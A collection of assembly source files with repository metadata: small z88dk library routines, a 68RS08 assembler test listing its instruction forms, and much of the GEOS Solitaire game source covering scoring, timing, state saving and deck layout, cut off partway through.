libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_erase.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_erase.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; Mar 2014 ; =============================================================== ; ; size_t w_array_erase(w_array_t *a, size_t idx) ; ; Remove word at array.data[idx] and return index of word ; that follows the one removed. ; ; =============================================================== SECTION code_clib SECTION code_adt_w_array PUBLIC asm_w_array_erase EXTERN asm_b_array_erase_block, error_mc asm_w_array_erase: ; enter : hl = array * ; bc = idx ; ; exit : success ; ; de = & array.data[idx] ; hl = idx = idx of word following the one removed ; carry reset ; ; fail if idx outside array.data ; ; hl = -1 ; carry set ; ; uses : af, bc, de, hl sla c rl b jp c, error_mc ld de,2 call asm_b_array_erase_block ret c srl h rr l ret
19.22
65
0.44641
d1ca69a169e4dd4af941f4701790c1c0293ebfbc
231
asm
Assembly
libsrc/z80_crt0s/gbz80/sccz80/dstore.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/z80_crt0s/gbz80/sccz80/dstore.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/z80_crt0s/gbz80/sccz80/dstore.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
SECTION code_crt0_sccz80 PUBLIC dstore EXTERN fa ;-------------- ; Copy FA to hl ;-------------- dstore: ld b,6 dstore_1: ld a,(de) ld (hl+),a inc de dec b jr nz,dstore_1 ret ; returns de=fa+6, hl=hl+6
11.55
38
0.528139
54af2142d3037ff549c3318c975197f74cdfd70f
4,532
asm
Assembly
assembler/tests/t_68rs08/t_68rs08.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_68rs08/t_68rs08.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_68rs08/t_68rs08.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
cpu 68RS08 page 0 add <$0a add >$0a lda <$1a lda >$1a adc #$55 adc $20 adc ,x adc x add #$55 add $20 add $0a add ,x add x and #$55 and $20 and ,x and x asla bcc * bclr 0,$20 bclr0 $20 bclr 1,$20 bclr1 $20 bclr 2,$20 bclr2 $20 bclr 3,$20 bclr3 $20 bclr 4,$20 bclr4 $20 bclr 5,$20 bclr5 $20 bclr 6,$20 bclr6 $20 bclr 7,$20 bclr7 $20 bclr 0,d[x] bclr 1,d[x] bclr 2,d[x] bclr 3,d[x] bclr 4,d[x] bclr 5,d[x] bclr 6,d[x] bclr 7,d[x] bclr 0,x bclr 1,x bclr 2,x bclr 3,x bclr 4,x bclr 5,x bclr 6,x bclr 7,x bcs * beq * bgnd bhs * blo * bne * bra * brclr 0,$20,* brclr0 $20,* brclr 1,$20,* brclr1 $20,* brclr 2,$20,* brclr2 $20,* brclr 3,$20,* brclr3 $20,* brclr 4,$20,* brclr4 $20,* brclr 5,$20,* brclr5 $20,* brclr 6,$20,* brclr6 $20,* brclr 7,$20,* brclr7 $20,* brclr 0,d[x],* brclr 1,d[x],* brclr 2,d[x],* brclr 3,d[x],* brclr 4,d[x],* brclr 5,d[x],* brclr 6,d[x],* brclr 7,d[x],* brclr 0,x,* brclr 1,x,* brclr 2,x,* brclr 3,x,* brclr 4,x,* brclr 5,x,* brclr 6,x,* brclr 7,x,* brn * brset 0,$20,* brset 1,$20,* brset 2,$20,* brset 3,$20,* brset 4,$20,* brset 5,$20,* brset 6,$20,* brset 7,$20,* brset 0,d[x],* brset 1,d[x],* brset 2,d[x],* brset 3,d[x],* brset 4,d[x],* brset 5,d[x],* brset 6,d[x],* brset 7,d[x],* brset 0,x,* brset 1,x,* brset 2,x,* brset 3,x,* brset 4,x,* brset 5,x,* brset 6,x,* brset 7,x,* bset 0,$20 bset 1,$20 bset 2,$20 bset 3,$20 bset 4,$20 bset 5,$20 bset 6,$20 bset 7,$20 bset 0,d[x] bset 1,d[x] bset 2,d[x] bset 3,d[x] bset 4,d[x] bset 5,d[x] bset 6,d[x] bset 7,d[x] bset 0,x bset 1,x bset 2,x bset 3,x bset 4,x bset 5,x bset 6,x bset 7,x bsr * cbeq $20,* cbeq ,x,* cbeq x,* cbeqa #$55,* clc clr $20 clr $17 clr ,x clra clrx cmp #$55 cmp $20 cmp ,x cmp x coma dbnz $20,* dbnz ,x,* dbnza * dbnzx * dec $20 dec $0a dec ,x dec x deca decx eor #$55 eor $20 eor ,x eor x inc $20 inc $0a inc ,x inc x inca incx jmp $2030 jsr $2030 lda #$55 lda $20 lda $17 lda ,x ldx #$55 ldx $20 ldx ,x lsla lsra mov #$55,$20 mov $20,$40 mov d[x],$20 mov $20,d[x] mov #$55,d[x] nop ora #$55 ora $20 ora ,x ora x rola rora rts sbc #$55 sbc $20 sbc ,x sbc x sec sha sla sta $20 sta $17 sta ,x sta x stop stx $20 sub #$55 sub $20 sub $0a sub ,x sub x tax tst $20 tst ,x tst x tsta tstx txa wait
16.185714
25
0.292807
45a07e0766bd784b3203aa80bcf20244bd8bc848
112,771
asm
Assembly
Appl/Games/Solitaire/solitaireGame.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Games/Solitaire/solitaireGame.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Games/Solitaire/solitaireGame.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Solitaire FILE: Solitaire.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 9/90 Initial Version DESCRIPTION: RCS STAMP: $Id: solitaireGame.asm,v 1.1 97/04/04 15:46:57 newdeal Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ _JEDI = FALSE ;------------------------------------------------------------------------------ ; Libraries used ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Macros ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Constants ;------------------------------------------------------------------------------ ; ; This constant is stuck in the handle of the game's last donor ; data indicating that no card transfers have taken place yet. ; USER_HASNT_STARTED_PLAYING_YET = 0 ; ; ONE_SECOND is the number of ticks per second ; ONE_SECOND = 60 ; ; The following constants are needed to set up STANDARD_SCORING ; INITIAL_STANDARD_SCORE = 0 SS_MINIMUM_SCORE = 0 ;min. score for STANDARD_SCORING VS_MINIMUM_SCORE = -25000 ;min. score for ST_VEGAS SS_HAND_PUSH = 0 SS_HAND_POP = 0 SS_HAND_FLIP = 0 SS_TALON_PUSH = 0 SS_TALON_POP = 5 ; ; the 'cost' of turning over the talon is computed by the formula ; points = 10 * (draw number) - 40 ; This means it costs 30 points for 1 card drawing, and 10 points ; for 3 card drawing. See PTSetupStandardScoring for details... ; SS_FOUNDATION_PUSH = 10 SS_FOUNDATION_POP = -10 SS_FOUNDATION_FLIP = 0 SS_TABLEAU_PUSH = 0 SS_TABLEAU_POP = 0 SS_TABLEAU_FLIP = 5 ; ; The user is penalized SS_POINTS_PER_TAX every SS_SECONDS_PER_TAX secs. ; SS_SECONDS_PER_TAX = 10 SS_POINTS_PER_TAX = -1 ; ; The following constants are used under ST_VEGAS ; INITIAL_VEGAS_SCORE = -52 ;initial score for ST_VEGAS (in $) VS_HAND_PUSH = 0 VS_HAND_POP = 0 VS_HAND_FLIP = 0 VS_TALON_PUSH = 0 VS_TALON_POP = 0 VS_TALON_FLIP = 0 VS_FOUNDATION_PUSH = 5 VS_FOUNDATION_POP = -5 VS_FOUNDATION_FLIP = 0 VS_TABLEAU_PUSH = 0 VS_TABLEAU_POP = 0 VS_TABLEAU_FLIP = 0 ;------------------------------------------------------------------------------ ; Definitions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Object Class include files ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Class & Method Definitions ;------------------------------------------------------------------------------ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; METHODS ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SolitaireClass class GameClass MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI method MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS method MSG_SOLITAIRE_CASH_OUT method MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE method MSG_SOLITAIRE_AUTO_FINISH method MSG_SOLITAIRE_CHECK_FOR_WINNER method ; ; Checks whether or not the user has won the game yet, and ; if so sends a method to itself to produce the win effect. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_DEAL method ; ; Deals out a new game of solitaire by passing out cards from the ; hand to the tableau elements. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_GET_DRAW_NUMBER method ; ; Returns the number of cards that should be flipped over from the ; hand to the talon each time the user clicks on the hand. ; ; PASS: nothing ; ; RETURN: cl = # of cards to draw MSG_SOLITAIRE_GET_SCORING_TYPE method ; ; Returns the scoring mode that the game is being played under. ; ; PASS: nothing ; ; RETURN: cl = ScoringType MSG_SOLITAIRE_INITIALIZE_SCORE method ; ; Sets up the scoring mechanism for the game (i.e., each deck ; is informed of its point values, etc.) Also alters the score ; to reflect a new game. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_INITIALIZE_TIME method ; ; Clears the game time, stops any current timer, and starts a ; new timer. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_NEW_GAME method ; ; Cleans up any business from the preceeding game and initiates ; a new game. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_ONE_SECOND_ELAPSED method ; ; This method tells the game that yet another second has gone by. ; Solitaire increments its time counter and reflects the change ; on screen ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_INIT_DATA_FROM_UI method ; ; Initializes the game object's instance data from various UI gadgetry ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_QUERY_FLUSH_OK method ; ; Checks to make sure that the talon hasn't been ; flushed more than the number of cards that are flipped ; each time (under vegas scoring only). ; ; PASS: nothing ; ; RETURN: carry set if OK to flush MSG_SOLITAIRE_REDEAL method ; ; Begins a new game of solitaire by collecting all the cards, ; shuffling, redealing, etc. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SETUP_STANDARD_SCORING method ; ; Assigns the correct points to all the decks for standard scoring ; (see function header to SolitaireSetupStandardScoring for more). ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SETUP_ST_COUNTDOWN method MSG_SOLITAIRE_SET_COUNTDOWN_TIME method MSG_SOLITAIRE_SET_COUNTDOWN_TIME_AND_REDEAL method MSG_SOLITAIRE_USER_REQUESTS_COUNTDOWN_TIME_CHANGE method MSG_SOLITAIRE_SETUP_ST_VEGAS method ; ; Assigns the correct points to all the decks for vegas scoring ; (see function header to SolitaireSetupVegasScoring for more). ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SET_DRAW_NUMBER method ; ; Polls the UI gadgetry to determine how many cards the user wants ; played on each hand selection, and stores this number in the ; game's instance data. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SET_FADE_STATUS method ; ; Polls the UI gadgetry to determine whether the user wants cards ; to fade in at various times or not; stores this preference in the ; game's instance data in the form of fade masks. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SET_SOUND_STATUS method ; ; Checks the UI gadgetry to determine whether the user wants ; the various game sounds muted and stores this preference in the ; game's instance data. ; ; Pass: cx = 1 if mute selected, otherwise zero. ; Return: nothing MSG_SOLITAIRE_SET_RULES method ; ; Changes the game's deck objects so that they will accept ; cards on certain conditions; this has the effect of ; changing the game rules from, for example, beginner to ; advanced rules. ; ; PASS: cx = DeckDragWhichCards struct for tableau elements ; dx = DeckDragWhichCards struct for foundations ; ; RETURN: nothing MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE method MSG_SOLITAIRE_USER_REQUESTS_DRAW_NUMBER_CHANGE method MSG_SOLITAIRE_USER_REQUESTS_USER_MODE_CHANGE method MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL method MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL method MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL method MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST method MSG_SOLITAIRE_FIXUP_DRAW_LIST method MSG_SOLITAIRE_FIXUP_USER_MODE_LIST method MSG_SOLITAIRE_SET_SCORING_TYPE method ; ; Polls the UI gadgetry to determine how the user wants the game ; to be scored, then sets up that mode. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SPRAY_DECK method ; ; This method tells the game object to instruct one of its decks ; to do the cool can fan effect with any cards in its composite. ; ; PASS: cx = radius of the fan (in screen coordinates) ; dx = # of deck in composite to spray ; bp = gstate to spray through ; ; RETURN: nothing MSG_SOLITAIRE_TURN_TIME_OFF method ; ; Sets KI_timeStatus to TIME_OFF, disables any active timers, ; and disables the time displays. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_TURN_TIME_ON method ; ; Sets KI_timeStatus to TIME_ON, starts a timer, and enables the ; time display. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_UNDO method ; ; This method undoes the last card transfer, and sets the score ; to its previous value. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_UPDATE_TIME method ; ; Updates the time counter and tells the time display to indicate ; the change. ; ; PASS: cx = # of seconds to add to the time ; ; RETURN: nothing MSG_SOLITAIRE_UPDATE_TIMES_THRU method ; ; Updates the number of times the user has gone entirely through ; the hand. ; ; PASS: cx = incremental # of times (probably +1, sometimes ; -1 for undo) ; ; RETURN: nothing MSG_SOLITAIRE_WE_HAVE_A_WINNER method ; ; Records that the game has been won and displays the winning ; card fan, etc. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_RESET_SCORE method ; ; Resets score based on the scoring type. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_PLAY_SOUND method ; ; Plays a sound if the game sound is not muted. ; ; PASS: nothing ; Eventually, should be a handle or a constant ; that identifies which sound. ; ; RETURN: nothing ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; STRUCTURES, ENUMS, ETC. ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ScoringType is the scoring paradigm to be used when playing the ; game. ; ; HACK HACK HACK ; ; Make sure that the list entries in the scoring selection UI are in ; the same order as here ; ScoringType etype byte ST_STANDARD_TIMED enum ScoringType,0 ST_STANDARD_UNTIMED enum ScoringType,1 ST_VEGAS enum ScoringType,2 ST_COUNTDOWN enum ScoringType,3 ST_NONE enum ScoringType,4 ; ; TimeStatus indicates what state the timer is/should be in ; TimeStatus etype byte TIME_OFF enum TimeStatus,0 ;game is not timed TIME_ON enum TimeStatus ;timer is running normally TIME_PAUSED enum TimeStatus ;timer is paused (e.g., when ;the game is iconified) TIME_STOPPED enum TimeStatus ;timer has been stopped for ;this game (probably because ;the user has won). TIME_EXPIRED enum TimeStatus TIME_NOT_ACTIVE enum TimeStatus ;set when solitaire is not ;running in the foreground TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING enum TimeStatus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; VARIABLE DATA ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ATTR_SOLITAIRE_GAME_OPEN vardata byte ; indicates that the game object is open and has not yet been saved ; to state. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; INSTANCE DATA ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; KI_drawNumber byte KI_scoringType ScoringType KI_cash word KI_totalCountdownTime word KI_time word ;time (in seconds) KI_countdownTime word KI_timerHandle word KI_timeStatus TimeStatus KI_nTimesThru word KI_nFaceDownCardsInTableau word KI_muteSound byte ;non-zero to mute sound SolitaireClass endc SolitaireDeckClass class DeckClass SolitaireDeckClass endc ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Initialized variables and class structures ;------------------------------------------------------------------------------ if FULL_EXECUTE_IN_PLACE SolitaireClassStructures segment resource else idata segment endif SolitaireClass SolitaireDeckClass if FULL_EXECUTE_IN_PLACE SolitaireClassStructures ends else idata ends endif ;------------------------------------------------------------------------------ ; Uninitialized variables ;------------------------------------------------------------------------------ udata segment udata ends ;------------------------------------------------------------------------------ ; Code for SolitaireClass ;------------------------------------------------------------------------------ CommonCode segment resource ;start of code resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGameSaveState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Solitaire method for MSG_GAME_SAVE_STATE Called by: MSG_GAME_SAVE_STATE Pass: *ds:si = Solitaire object ds:di = Solitaire instance Return: ^hcx - block of saved data dx - # bytes written Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGameSaveState method dynamic SolitaireClass, MSG_GAME_SAVE_STATE uses bp .enter mov ax, 5 * size word ; ; need to alloc N words + 1 (to indicate how many) in the block ; ; mov di, dx ; mov bx, cx mov cx, ALLOC_DYNAMIC_LOCK call MemAlloc ;returns ax = segment of block jc done mov es, ax ;es:di <- data clr di ; ; save our important stuff ; mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI call ObjCallInstanceNoLock mov si, ds:[si] add si, ds:[si].Solitaire_offset mov_tr ax, cx ;cx <- UI countdown secs stosw mov ax, ds:[si].KI_time stosw mov ax, ds:[si].KI_countdownTime stosw mov ax, ds:[si].KI_nTimesThru stosw mov ax, ds:[si].KI_nFaceDownCardsInTableau stosw call MemUnlock mov cx, bx mov dx, di done: .leave ret SolitaireGameSaveState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGameRestoreState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Solitaire method for MSG_GAME_RESTORE_STATE Called by: MSG_GAME_RESTORE_STATE Pass: *ds:si = Solitaire object ds:di = Solitaire instance Return: ^hcx - block of saved data dx - # bytes written Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireExtraSaveData struct SESD_totalCountdownSecs word SESD_time word SESD_countdownTime word SESD_nTimesThru word SESD_nFaceDownCardsInTableau word SolitaireExtraSaveData ends SolitaireGameRestoreState method dynamic SolitaireClass, MSG_GAME_RESTORE_STATE uses bp .enter ; ; Read our important stuff out ; mov bx, cx call MemLock jc done mov es, ax clr di ; mov di, dx mov cx, es:[di].SESD_totalCountdownSecs mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS call ObjCallInstanceNoLock mov cx, bx mov dx, di add dx, size SolitaireExtraSaveData mov bx, ds:[si] add bx, ds:[bx].Solitaire_offset mov ax, es:[di].SESD_nFaceDownCardsInTableau mov ds:[bx].KI_nFaceDownCardsInTableau, ax mov ax, es:[di].SESD_time mov ds:[bx].KI_time, ax mov ax, es:[di].SESD_countdownTime mov ds:[bx].KI_countdownTime, ax mov ax, es:[di].SESD_totalCountdownSecs mov ds:[bx].KI_totalCountdownTime, ax push cx, dx mov ax, MSG_SOLITAIRE_UPDATE_TIME call ObjCallInstanceNoLock pop cx, dx mov bx, cx call MemUnlock done: .leave ret SolitaireGameRestoreState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupStuff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SETUP_STUFF handler for SolitaireClass Does a few things that need to be done before playing the first game but do NOT need to be called for subsequent games. CALLED BY: PASS: nothing CHANGES: initializes data slots RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireInitDataFromUI method SolitaireClass, MSG_SOLITAIRE_INIT_DATA_FROM_UI .enter ; ; Read off the game's state from the menu gadgetry ; mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock ; ; The initial cash is -52, and the MSG_SOLITAIRE_NEW_GAME below ; is gonna charge another $52, so counter that here.. ; mov ax, MSG_SOLITAIRE_GET_SCORING_TYPE call ObjCallInstanceNoLock cmp cl, ST_VEGAS jne setUserMode clr cx mov dx, INITIAL_VEGAS_SCORE neg dx mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock setUserMode: mov ax, MSG_GAME_SET_USER_MODE call ObjCallInstanceNoLock if _NDO2000 mov ax, MSG_GAME_SET_DRAG_TYPE call ObjCallInstanceNoLock endif mov ax, MSG_SOLITAIRE_SET_FADE_STATUS call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_SET_SOUND_STATUS call ObjCallInstanceNoLock .leave ret SolitaireInitDataFromUI endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupGeometry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SETUP_GEOMETRY handler for SolitaireClass Arranges the game's objects according to how big a card is (which should give some indication of screen resolution). PASS: cx = horizontal deck spacing dx = vertical deck spacing RETURN: nothing DESTROYED: ax REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetupGeometry method dynamic SolitaireClass, MSG_GAME_SETUP_GEOMETRY cardWidth local word cardHeight local word .enter mov bx, ds:[di].GI_cardWidth mov ss:[cardWidth], bx mov bx, ds:[di].GI_cardHeight mov ss:[cardHeight], bx push cx, dx ;save spacing mov di, offset SolitaireClass call ObjCallSuperNoLock pop ax, di ;ax, di <- deck spacing ; ; Move all the decks to the right places. ; mov cx, 2 mov dx, 2 mov bx, handle MyHand mov si, offset MyHand call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle MyTalon mov si, offset MyTalon call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ss:[cardWidth] add cx, ax add cx, ax mov bx, handle Foundation1 mov si, offset Foundation1 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle Foundation2 mov si, offset Foundation2 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle Foundation3 mov si, offset Foundation3 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle Foundation4 mov si, offset Foundation4 call SolitairePositionDeck mov cx, 2 add dx, ss:[cardHeight] add dx, di mov bx, handle TE1 mov si, offset TE1 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE2 mov si, offset TE2 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE3 mov si, offset TE3 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE4 mov si, offset TE4 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE5 mov si, offset TE5 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE6 mov si, offset TE6 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE7 mov si, offset TE7 call SolitairePositionDeck .leave ret SolitaireSetupGeometry endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitairePositionDeck %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Computes a location from card size units to screen units, then moves a deck to that point. CALLED BY: SolitaireSetupGeometry PASS: ^lbx:si = deck to move bp,di = width, height units cx,dx = left, top position to move to in units of bp, di CHANGES: RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 12/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitairePositionDeck proc near uses ax, di .enter ; ; Move the deck to the newly calculated location ; mov ax, MSG_VIS_SET_POSITION mov di, mask MF_FIXUP_DS call ObjMessage .leave ret SolitairePositionDeck endp if _NDO2000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDragType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: METHOS_SET_DRAG_TYPE handler for SolitaireClass Sets the drag mode to either outline or full dragging CALLED BY: PASS: cl = DragType bp low = ListEntryState (test for LES_ACTUAL_EXCL) CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: set GI_dragType, then either enable or disable the UserModeList, depending on whether we're setting full or outline dragging KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDragType method SolitaireClass, MSG_GAME_SET_DRAG_TYPE CallObject DragList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL mov_tr cx, ax mov ax, MSG_GAME_SET_DRAG_TYPE mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass call ObjCallSuperNoLock ret SolitaireSetDragType endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetRules %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_RULES handler for SolitaireClass Changes the game's deck objects so that they will accept cards on certain conditions; this has the effect of changing the game rules from, for example, beginner to advanced rules. CURRENT RULES (12/5/90): Beginner: * Cards can be moved out of foundations. * Face up sequences can be split up to drag Intermediate: * Cards can not be moved out of foundations * Face up sequences can be split up to drag Advanced: * Cards can not be moved out of foundations * Face up sequences can not be split up to drag CALLED BY: PASS: cx = DeckDragWhichCards structure to pass to tableauElements dx = 